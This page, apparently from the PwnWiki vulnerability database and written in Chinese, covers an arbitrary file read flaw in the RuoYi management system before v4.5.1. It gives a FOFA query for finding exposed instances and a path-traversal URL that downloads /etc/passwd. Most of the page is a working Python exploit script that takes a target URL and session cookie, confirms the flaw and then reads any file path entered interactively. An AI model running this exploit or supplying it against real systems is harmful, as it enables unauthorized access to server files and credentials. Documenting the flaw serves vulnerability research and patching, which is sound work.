Loading
0

若依(RuoYi)管理系统后台任意文件读取漏洞

免费、自由、人人(PwnWiki.Com)可编辑的漏洞库

,

漏洞影响

RuoYi < v4.5.1

FOFA语法

app="若依-管理系统" && body="admin"

漏洞利用

访问

https://xxx.xxx.xxx.xxx/common/download/resource?resource=/profile/../../../../etc/passwd

这将下载文件/etc/passwd

可以使用Burp抓包改变/etc/passwd为其他文件路径获取敏感信息。

POC

import requests
import sys
import random
import re
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
    print('+------------------------------------------')
    print('+  \03334mPOC_Des: http://wiki.peiqi.tech                                   \0330m')
    print('+  \03334mVersion: RuoYi < v4.5.1                                            \0330m')
    print('+  \03336m使用格式:  python3 poc.py                                            \0330m')
    print('+  \03336mUrl         >>> http://xxx.xxx.xxx.xxx                             \0330m')
    print('+  \03336mCookie      >>> JSESSIONID=xxxxxx                                   \0330m')
    print('+  \03336mFile        >>> /etc/passwd                                         \0330m')
    print('+------------------------------------------')

def POC_1(target_url, Cookie):
    vuln_url = target_url + "/common/download/resource?resource=/profile/../../../../etc/passwd"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
        "Cookie":Cookie
    }
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
        print("\03332mo 正在请求 {}//common/download/resource?resource=/profile/../../../../etc/passwd \0330m".format(target_url))
        if "root" in response.text and response.status_code == 200:
            print("\03332mo 目标 {}存在漏洞 ,成功读取 /etc/passwd \0330m".format(target_url))
            print("\03332mo 响应为:\n{} \0330m".format(response.text))
            while True:
                Filename = input("\03335mFile >>> \0330m")
                if Filename == "exit":
                    sys.exit(0)
                else:
                    POC_2(target_url, Cookie, Filename)
        else:
            print("\03331mx 请求失败 \0330m")
            sys.exit(0)
    except Exception as e:
        print("\03331mx 请求失败 \0330m", e)

def POC_2(target_url, Cookie, Filename):
    vuln_url = target_url + "/common/download/resource?resource=/profile/../../../../{}".format(Filename)
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
        "Cookie":Cookie
    }
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
        print("\03332mo 响应为:\n{} \0330m".format(response.text))

    except Exception as e:
        print("\03331mx 请求失败 \0330m", e)

if __name__ == '__main__':
    title()
    target_url = str(input("\03335mPlease input Attack Url\nUrl >>> \0330m"))
    Cookie = str(input("\03335mCookie >>> \0330m"))
    POC_1(target_url, Cookie)

免费、自由、人人可编辑的漏洞库--pwnwiki.com